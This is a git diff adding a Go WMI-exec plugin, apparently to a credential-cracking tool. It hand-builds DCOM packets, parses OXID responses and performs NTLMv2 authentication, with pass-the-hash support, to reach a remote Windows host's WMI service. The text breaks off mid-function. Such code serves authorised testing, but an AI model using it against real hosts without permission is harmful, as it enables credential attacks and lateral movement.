+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.UnusedBuffer = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.CommonHeader = NewCommonHeader1(0x10) //0xcccccccc00081001 //0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.PrivateHeader = NewPrivateHeader(0x48)
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InstantiatedObjectClsId = uuid.CLSID_WMIAppID
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.ClassContext = 0x14
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.ActivationFlags = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.FlagsSurrogate = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InterfaceIdCount = 0x01
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InstantiationFlag = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InterfaceIdsPtr = 0x0200
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.EntirePropertySize = 0x58
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.VersionMajor = 0x05
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.VersionMinor = 0x07
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InterfaceIdsMaxCount = 0x01
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.InterfaceIds = uuid.CLSID_WbemLevel1Login
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.InstantiationInfo.UnusedBuffer = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.CommonHeader = NewCommonHeader1(0x10) // 0xcccccccc00081001 // 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.PrivateHeader = NewPrivateHeader(0x80)
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientOk = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.Reserved = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.Reserved2 = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.Reserved3 = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrReferentID = 0x0200
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.NULLPtr = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextUnknown = 0x60
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextCntData = 0x60
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFSignature = 0x574f454d // 0x4d, 0x45, 0x4f, 0x57
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFFlags = 0x04
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFIID = uuid.IID_IContext
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFCUSTOMOBJREFCLSID = uuid.CLSID_ContextMarshaler
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.ClientPtrClientContextOBJREFCUSTOMOBJREFSize = 0x30
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ActivationContextInfo.UnusedBuffer = [48]byte{0x01, 0x00, 0x01, 0x00, 0x63, 0x2c, 0x80, 0x2a, 0xa5, 0xd2, 0xaf, 0xdd, 0x4d, 0xc4, 0xbb, 0x37, 0x4d, 0x37, 0x76, 0xd7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.CommonHeader = NewCommonHeader1(0x10) // 0xcccccccc00081001 // 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.PrivateHeader = NewPrivateHeader(privHeader) //", packet_private_header);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.AuthenticationFlags = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoPtrReferentID = 0x0200
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.NULLPtr = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoReserved = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameReferentID = 0x00020004 // 0x04, 0x00, 0x02, 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNULLPtr = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoReserved2 = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameMaxCount = targetL // ", packet_target_length);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameOffset = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameActualCount = targetL //", packet_target_length);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameString = make([]byte, len(targetB)) //", packet_target_unicode);
+ copy(r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SecurityInfo.ServerInfoServerInfoNameString[:], targetB)
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.CommonHeader = NewCommonHeader1(0x10) //0xcccccccc00081001 //0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.PrivateHeader = NewPrivateHeader(0x10) //0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.NULLPtr = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.ProcessID = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.ApartmentID = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.LocationInfo.ContextID = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.CommonHeader = NewCommonHeader1(0x10) // 0xcccccccc00081001 // 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.PrivateHeader = NewPrivateHeader(0x20)
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.NULLPtr = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrReferentID = 0x0200
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestClientImpersonationLevel = 0x02
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestNumProtocolSequences = 0x01
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestUnknown = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID = 0x00020004 // 0x04, 0x00, 0x02, 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount = 0x01
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq = 0x07
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.ScmRequestInfo.UnusedBuffer = [6]byte{}
+ return r
+}
+
+func (p PacketDCOMRemoteInstance) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, p.DCOMORPCThis)
+ binary.Write(&buff, binary.LittleEndian, p.Unknown2)
+ binary.Write(&buff, binary.LittleEndian, p.Unknown3)
+ binary.Write(&buff, binary.LittleEndian, p.Unknown4)
+ binary.Write(&buff, binary.LittleEndian, p.IActProperties.Bytes())
+ return buff.Bytes()
+}
+
+func (i IActProperties) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, i.CntData)
+ binary.Write(&buff, binary.LittleEndian, i.OBJREF.Signature)
+ binary.Write(&buff, binary.LittleEndian, i.OBJREF.Flags)
+ binary.Write(&buff, binary.LittleEndian, i.OBJREF.IID)
+ binary.Write(&buff, binary.LittleEndian, i.OBJREF.CUSTOMOBJREF.Bytes())
+
+ return buff.Bytes()
+}
+
+func (i CUSTOMOBJREF) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, i.CLSID)
+ binary.Write(&buff, binary.LittleEndian, i.CBExtension)
+ binary.Write(&buff, binary.LittleEndian, i.Size)
+ binary.Write(&buff, binary.LittleEndian, i.IActProperties.Bytes())
+
+ return buff.Bytes()
+}
+
+func (i IActProperties2) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, i.TotalSize)
+ binary.Write(&buff, binary.LittleEndian, i.Reserved)
+ binary.Write(&buff, binary.LittleEndian, i.CustomHeader)
+ binary.Write(&buff, binary.LittleEndian, i.Properties.SpecialSystemProperties)
+ binary.Write(&buff, binary.LittleEndian, i.Properties.InstantiationInfo)
+ binary.Write(&buff, binary.LittleEndian, i.Properties.ActivationContextInfo)
+ binary.Write(&buff, binary.LittleEndian, i.Properties.SecurityInfo.Bytes())
+ binary.Write(&buff, binary.LittleEndian, i.Properties.LocationInfo)
+ binary.Write(&buff, binary.LittleEndian, i.Properties.ScmRequestInfo)
+
+ return buff.Bytes()
+}
+
+func (i SecurityInfo) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, i.CommonHeader)
+ binary.Write(&buff, binary.LittleEndian, i.PrivateHeader)
+ binary.Write(&buff, binary.LittleEndian, i.AuthenticationFlags)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoPtrReferentID)
+ binary.Write(&buff, binary.LittleEndian, i.NULLPtr)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoReserved)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNameReferentID)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNULLPtr)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoReserved2)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNameMaxCount)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNameOffset)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNameActualCount)
+ binary.Write(&buff, binary.LittleEndian, i.ServerInfoServerInfoNameString)
+ return buff.Bytes()
+}
+
+type PacketDCOMRemQueryInterface struct {
+ VersionMajor uint16
+ VersionMinor uint16
+ Flags uint32
+ Reserved uint32
+ CausalityID [16]byte
+ Reserved2 uint32
+ IPID [16]byte
+ Refs uint32
+ IIDs uint16
+ Unknown [6]byte
+ IID [16]byte
+}
+
+func NewPacketDCOMRemQueryInterface(causalityID, IPID, IID []byte) PacketDCOMRemQueryInterface {
+ r := PacketDCOMRemQueryInterface{
+ VersionMajor: 5,
+ VersionMinor: 7,
+ Flags: 0,
+ Reserved: 0,
+ //CausalityID:
+ Reserved2: 0,
+ //IPID:
+ Refs: 5,
+ IIDs: 1,
+ Unknown: [6]byte{0, 0, 1, 0, 0, 0},
+ }
+ copy(r.CausalityID[:], causalityID)
+ copy(r.IPID[:], IPID)
+ copy(r.IID[:], IID)
+ return r
+}
+
+func (p PacketDCOMRemQueryInterface) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, p)
+ return buff.Bytes()
+}
+
+type PacketDCOMMemRelease struct {
+ VersionMajor uint16
+ VersionMinor uint16
+ Flags uint32
+ Reserved uint32
+ CausalityID [16]byte
+ Reserved2 uint32
+ Unknown uint32
+ InterfaceRefs uint32
+ IPID [16]byte
+ PublicRefs uint32
+ PrivateRefs uint32
+ packetIPID2 [16]byte
+ PublicRefs2 uint32
+ PrivateRefs2 uint32
+}
+
+func NewPacketDCOMMemRelease(causality, ipid, ipid2 []byte) PacketDCOMMemRelease {
+ r := PacketDCOMMemRelease{
+ VersionMajor: 0x05,
+ VersionMinor: 0x07,
+ Flags: 0x00,
+ Reserved: 0x00,
+ //CausalityID: packet_causality_ID);
+ Reserved2: 0x00,
+ Unknown: 0x02,
+ InterfaceRefs: 0x02,
+ //IPID: packet_IPID);
+ PublicRefs: 0x05,
+ PrivateRefs: 0x00,
+ //packet_IPID2: packet_IPID2);
+ PublicRefs2: 0x05,
+ PrivateRefs2: 0x00,
+ }
+
+ copy(r.CausalityID[:], causality)
+ copy(r.IPID[:], ipid)
+ copy(r.packetIPID2[:], ipid2)
+
+ return r
+}
+
+func (p PacketDCOMMemRelease) Bytes() []byte {
+ buff := bytes.Buffer{}
+ binary.Write(&buff, binary.LittleEndian, p)
+ return buff.Bytes()
+}
+
+type DCOMOXIDResolver struct {
+ VersionMajor uint16
+ VersionMinor uint16
+ Unknown [8]byte
+ NumEntries uint16
+ SecurityOffset uint16
+ StringBindings []DCOMStringBinding
+ SecurityBindings []DCOMSecurityBinding
+ Unknown2 [8]byte
+}
+
+type DCOMSecurityBinding struct {
+ AuthnSvc uint16
+ AuthzSvc uint16
+ PrincName []byte
+}
+
+type DCOMStringBinding struct {
+ TowerId uint16
+ NetworkAddr []byte
+}
+
+func NewDCOMOXIDResolver(b []byte) DCOMOXIDResolver {
+ r := DCOMOXIDResolver{}
+ cursor := 0
+ r.VersionMajor = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ r.VersionMajor = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ copy(r.Unknown[:], b[cursor:cursor+8])
+ cursor += 8
+
+ r.NumEntries = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ r.SecurityOffset = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+
+ for !bytes.HasPrefix(b[cursor:], []byte{0, 0}) {
+ newBind := DCOMStringBinding{}
+ newBind.TowerId = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ //yep, scan to double null top kek
+ if bytes.HasPrefix(b[cursor:], []byte{0, 0}) {
+ newBind.NetworkAddr = []byte{0, 0}
+ cursor += 2
+ } else {
+ end := bytes.Index(b[cursor:], []byte{0, 0, 0})
+ newBind.NetworkAddr = b[cursor : end+cursor+1]
+ cursor += end + 3
+ }
+ r.StringBindings = append(r.StringBindings, newBind)
+ }
+ cursor += 2
+
+ for !bytes.HasPrefix(b[cursor:], []byte{0, 0}) {
+ newBind := DCOMSecurityBinding{}
+ newBind.AuthnSvc = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ newBind.AuthzSvc = binary.LittleEndian.Uint16(b[cursor : cursor+2])
+ cursor += 2
+ //yep, scan to double null top kek
+ if bytes.HasPrefix(b[cursor:], []byte{0, 0}) {
+ newBind.PrincName = []byte{0, 0}
+ cursor += 2
+ } else {
+ end := bytes.Index(b[cursor:], []byte{0, 0, 0})
+ newBind.PrincName = b[cursor : end+cursor]
+ cursor += end + 1
+ }
+ r.SecurityBindings = append(r.SecurityBindings, newBind)
+ }
+ cursor += 2
+
+ return r
+}
diff --git a/pkg/crack/plugins/wmiexec/wmiexec.go b/pkg/crack/plugins/wmiexec/wmiexec.go
new file mode 100644
index 0000000..dd96a48
--- /dev/null
+++ b/pkg/crack/plugins/wmiexec/wmiexec.go
@@ -0,0 +1,821 @@
+//nolint
+package wmiexec
+
+import (
+ "bytes"
+ "errors"
+ "io"
+
+ "github.com/C-Sto/goWMIExec/pkg/ntlmssp"
+
+ "github.com/C-Sto/goWMIExec/pkg/rpce"
+
+ "github.com/C-Sto/goWMIExec/pkg/uuid"
+
+ "go.uber.org/zap/zapcore"
+
+ "encoding/binary"
+ "encoding/hex"
+ "fmt"
+ "math/rand"
+ "net"
+ "strconv"
+ "strings"
+ "time"
+
+ "go.uber.org/zap"
+ "golang.org/x/text/encoding/unicode"
+)
+
+//var logger, logerr = zap.NewProduction()
+//var sugar = logger.Sugar()
+
+type WmiExecConfig struct {
+ username, password, hash, domain string
+ targetAddress, clientHostname string
+ timeout int
+
+ verbose bool
+ logger *zap.Logger
+}
+
+func NewExecConfig(username, password, hash, domain, target, clientHostname string, timeout int, verbose bool, logger *zap.Logger, writer io.Writer) (WmiExecConfig, error) {
+ r := WmiExecConfig{}
+
+ if logger == nil && writer == nil {
+ //default logger
+ //r.logger = zap.new
+ var err error
+ cfg := zap.NewProductionConfig()
+ cfg.Encoding = "console"
+ logger, err = cfg.Build()
+ if err != nil {
+ return r, err
+ }
+ r.logger = logger
+ } else if writer != nil && logger == nil {
+ writeser := zapcore.AddSync(writer)
+ customWriter := zapcore.Lock(writeser)
+ c := zapcore.NewConsoleEncoder(zap.NewProductionEncoderConfig())
+ core := zapcore.NewCore(c, customWriter, zap.LevelEnablerFunc(func(lvl zapcore.Level) bool {
+ return lvl < zapcore.ErrorLevel
+ }))
+ logger = zap.New(core)
+
+ }
+
+ clientHostname = strings.ToUpper(clientHostname)
+ if len(clientHostname) > 16 {
+ clientHostname = clientHostname[:15]
+ r.logger.Sugar().Infof("Hostname too long (over 16 chars). Using first 15 chars: %s", clientHostname)
+ }
+
+ unihn, err := toUnicodeS(clientHostname)
+ if err != nil {
+ return WmiExecConfig{}, err
+ }
+
+ r = WmiExecConfig{
+ username: username, password: password, hash: hash, domain: domain,
+ targetAddress: target, clientHostname: unihn,
+ timeout: timeout,
+ verbose: verbose,
+ logger: logger,
+ }
+
+ return r, nil
+}
+
+type wmiExecer struct {
+ log *zap.SugaredLogger
+ logProper *zap.Logger
+ config *WmiExecConfig
+ tcpClient net.Conn
+
+ timeout int
+
+ targetHostname string
+ targetRPCPort int
+ assGroup uint32
+ objectUUID []byte
+ causality []byte
+ ipid []byte
+ clientSigningKey []byte
+ oxid []byte
+ objUUID2 []byte
+
+ stage string
+}
+
+func NewExecer(cfg *WmiExecConfig) *wmiExecer {
+ r := wmiExecer{
+ log: cfg.logger.Sugar(),
+ logProper: cfg.logger,
+ config: cfg,
+ stage: "exit",
+ timeout: cfg.timeout,
+ }
+
+ return &r
+}
+
+func (e *wmiExecer) Connect() error {
+ var err error
+
+ e.tcpClient, err = net.DialTimeout("tcp", e.config.targetAddress, time.Duration(e.timeout)*time.Second)
+ if err != nil {
+ //e.log.Error(err.Error())
+ return err
+ }
+ err = e.tcpClient.SetReadDeadline(time.Now().Add(time.Duration(e.timeout) * time.Second))
+ if err != nil {
+ return err
+ }
+ defer e.tcpClient.Close()
+
+ //Hello, please are you ok to connect?
+ //we seem to be using the iobjectexporter abstract syntax... whatever that means?
+ abs := rpce.NewPSyntaxID(uuid.IID_IObjectExporter, 0)
+
+ ctxList := rpce.NewPcontextList()
+ ctxList.AddContext( //I tried to make it neater... I failed :(
+ rpce.NewPcontextElem(
+ 0,
+ abs,
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.NDRTransferSyntax_V2, 2),
+ },
+ ),
+ )
+
+ ctxList.AddContext( //I tried to make it neater... I failed :(
+ rpce.NewPcontextElem(
+ 0,
+ abs,
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.BindTimeFeatureReneg, 0x01000000),
+ },
+ ),
+ )
+ packetRPC := rpce.NewBindReq(2, ctxList, nil)
+
+ recv := make([]byte, 2048)
+
+ e.tcpClient.Write(packetRPC.Bytes())
+ e.tcpClient.Read(recv)
+ recvHdr := rpce.CommonHead{}
+
+ binary.Read(bytes.NewReader(recv), binary.LittleEndian, &recvHdr)
+
+ if recvHdr.PacketType != 12 {
+ //e.log.Info("No, can't connect soz lol")
+ return errors.New("Got an unexpected response. Wanted 12 (0x0c) got ")
+ }
+
+ //cool, can we auth?
+ packetRPCReq := rpce.NewRequestReq(2, 0, 5, nil, nil)
+ e.tcpClient.Write(packetRPCReq.Bytes())
+
+ e.tcpClient.Read(recv)
+ if err != nil {
+ //e.log.Error("Error reading tcp thing")
+ return err
+ }
+
+ //e.log.Info("Successfully connected to host and sent an RPC request packet")
+ // rsp := NewDCOMResponse(recv[:n])
+ recvHdr = rpce.CommonHead{}
+ readr := bytes.NewReader(recv)
+ binary.Read(readr, binary.LittleEndian, &recvHdr)
+ if recvHdr.PacketType != 2 {
+ return fmt.Errorf("Got an unexpected response. Wanted 0x02 got %x", recvHdr.PacketType)
+ }
+ rsp := rpce.ParseResponse(recv)
+
+ resolved := NewDCOMOXIDResolver(rsp.StubData)
+
+ //e.log.Infof("Resolved names, all network string bindings for host:")
+ for _, x := range resolved.StringBindings {
+ //decode for output to user (this should probably be in main... whatever)
+ dcoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewDecoder()
+ _, er := dcoder.Bytes(x.NetworkAddr)
+ if er != nil {
+ //e.log.Error(er.Error())
+ continue
+ }
+ //e.log.Infof("\t%v", string(b)) //strs = append(strs, unicode.UTF16( // string(x.NetworkAddr))
+ }
+
+ b, err := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewDecoder().Bytes(resolved.StringBindings[0].NetworkAddr)
+ if err != nil {
+ //e.log.Error("Couldn't decode hostname from response")
+ return err
+ }
+ //e.log.Info("Using first value as target hostname: ", string(b))
+ e.targetHostname = string(b)
+ return nil
+}
+
+func (e *wmiExecer) Auth() error {
+ var err error
+ e.tcpClient, err = net.DialTimeout("tcp", e.config.targetAddress, time.Duration(e.timeout)*time.Second)
+ if err != nil {
+ return err
+ }
+ err = e.tcpClient.SetReadDeadline(time.Now().Add(time.Duration(e.timeout) * time.Second))
+ if err != nil {
+ return err
+ }
+ defer e.tcpClient.Close()
+
+ //ey, can I please talk to SCM? I will use NTLM SSP to auth..
+ ctxList := rpce.NewPcontextList()
+ ctxList.AddContext(rpce.NewPcontextElem(
+ 1,
+ rpce.NewPSyntaxID(uuid.IID_IRemoteSCMActivator, 0),
+ []rpce.PSyntaxID{
+ rpce.NewPSyntaxID(uuid.NDRTransferSyntax_V2, 2),
+ },
+ ))
+
+ flags := ntlmssp.NTLMSSP_NEGOTIATE_UNICODE | ntlmssp.NTLM_NEGOTIATE_OEM |
+ ntlmssp.NTLMSSP_REQUEST_TARGET | ntlmssp.NTLMSSP_NEGOTIATE_NTLM |
+ ntlmssp.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlmssp.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY |
+ ntlmssp.NTLMSSP_NEGOTIATE_VERSION | ntlmssp.NTLMSSP_NEGOTIATE_128 |
+ ntlmssp.NTLMSSP_NEGOTIATE_56
+ n := ntlmssp.NewSSPNegotiate(flags) //todo: make this flags... value below
+
+ auth := rpce.NewAuthVerifier(
+ rpce.RPC_C_AUTHN_WINNT,
+ rpce.RPC_C_AUTHN_LEVEL_CONNECT,
+ 0,
+ n.Bytes(),
+ )
+
+ packetRPC := rpce.NewBindReq(3, ctxList, &auth)
+ recv := make([]byte, 2048)
+ e.tcpClient.Write(packetRPC.Bytes())
+
+ e.tcpClient.Read(recv)
+
+ //should probably check here that it's not an error
+ bindAck := rpce.ParseBindAck(recv)
+
+ challengeInfo := ntlmssp.ParseSSPChallenge(bindAck.AuthVerifier.AuthValue)
+ ntlmChal := challengeInfo.ServerChallenge[:]
+ deets := challengeInfo.Payload.GetTargetInfoBytes()
+ timebytes := challengeInfo.Payload.GetTimeBytes()
+
+ hostname := e.config.clientHostname
+
+ domain := []byte(e.config.domain)
+ uniuser, err := toUnicodeS(e.config.username)
+ if err != nil {
+ return err
+ }
+ username := []byte(uniuser)
+
+ key1, err := ntlmssp.NTLMV2Hash(e.config.password, string(e.config.hash), e.config.username, string(e.config.domain))
+ if err != nil {
+ return err
+ }
+
+ ntlmResp := ntlmssp.NTLMV2Response(key1, ntlmChal, timebytes, deets)
+ sspResp := ntlmssp.NewSSPAuthenticate(ntlmResp, domain, username, []byte(hostname), nil).Bytes()
+
+ packetAuth := rpce.NewAuth3Req(3, rpce.RPC_C_AUTHN_LEVEL_CONNECT, sspResp)
+ prepBytes2 := packetAuth.Bytes()
+ e.tcpClient.Write(prepBytes2)
+
+ cause_id_bytes := [16]byte{}
+ rand.Seed(time.Now().UnixNano())
+ rand.Read(cause_id_bytes[:])
+
+ dcomThing := NewDCOMRemoteInstance(cause_id_bytes, e.config.targetAddress)
+
+ p := rpce.NewRequestReq(3, 1, 4, dcomThing.Bytes(), nil)
+ //fmt.Println(pp)
+ prepBytes3 := p.Bytes()
+ recv3 := make([]byte, 2048)
+ e.tcpClient.Write(prepBytes3)
+ e.tcpClient.Read(recv3)
+
+ if recv3[2] == 3 {
+ pf := rpce.ParseFault(recv3)
+ //e.log.Error("Error: ", pf.StatusString(), " ", pf.Status)
+ return errors.New(pf.StatusString())
+ }
+
+ //should probably check here that it's not an error
+ rsp := rpce.ParseResponse(recv3)
+
+ //if rsp.CommonHead.PacketType == 2 {
+ //e.log.Info("WMI Access possible!")
+ //}
+
+ unihn, err := toUnicodeS(e.targetHostname + "[")
+ if err != nil {
+ return err
+ }
+ targ := "\x07\x00" + unihn
+ tgtIndex := bytes.Index(rsp.StubData, []byte(targ))
+ portString := rsp.StubData[tgtIndex+len(unihn)+2 : tgtIndex+len(unihn)+12]
+ s, err := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewDecoder().String(string(portString))
+ if err != nil {
+ return err
+ }
+ portNum, err := strconv.Atoi(s)
+ if err != nil {
+ return err
+ }
+ if portNum == 0 {
+ //e.log.Error("Got portNum 0.")
+ return fmt.Errorf("did not expect port number to be 0")
+ }
+
+ //meow... MS must have been smoking crack when this was developed
+ meowSig, _ := hex.DecodeString("4D454F570100000018AD09F36AD8D011A07500C04FB68820")
+ meowIndex := bytes.Index(rsp.StubData, meowSig)
+ ipid := rsp.StubData[meowIndex+48 : meowIndex+64]
+ e.oxid = rsp.StubData[meowIndex+32 : meowIndex+40]
+ oxid2Index := bytes.Index(rsp.StubData[meowIndex+100:], e.oxid)
+ objUUID := rsp.StubData[meowIndex+100+oxid2Index+12 : meowIndex+100+oxid2Index+28]
+ e.targetRPCPort = portNum
+ e.causality = cause_id_bytes[:]
+ e.ipid = ipid
+ e.objectUUID = objUUID
+
+ return nil
+}
+
+func (e *wmiExecer) RPCConnect() error {
+ var err error
+ //e.log.Infof("Connecting to %s:%d", e.config.targetAddress[:strings.Index(e.config.targetAddress, ":")], e.targetRPCPort)
+
+ //this is 'intentionally' left open (no deferred close!). This is the channel we send stuff on after RPC has been connected, so it needs to persist.
+ //I should probably determine a better way to make sure it closes gracefully. Alas.
+ e.tcpClient, err = net.DialTimeout("tcp", fmt.Sprintf("%s:%d", e.config.targetAddress[:strings.Index(e.config.targetAddress, ":")], e.targetRPCPort), time.Duration(e.timeout)*time.Second)
+ if err != nil {
+ return err
+ }
+ err = e.tcpClient.SetReadDeadline(time.Now().Add(time.Duration(e.timeout) * time.Second))
+ if err != nil {
+ return err
+ }
+ ctxList := rpce.NewPcontextList()
+ ctxList.AddContext(rpce.NewPcontextElem(
+ 0,
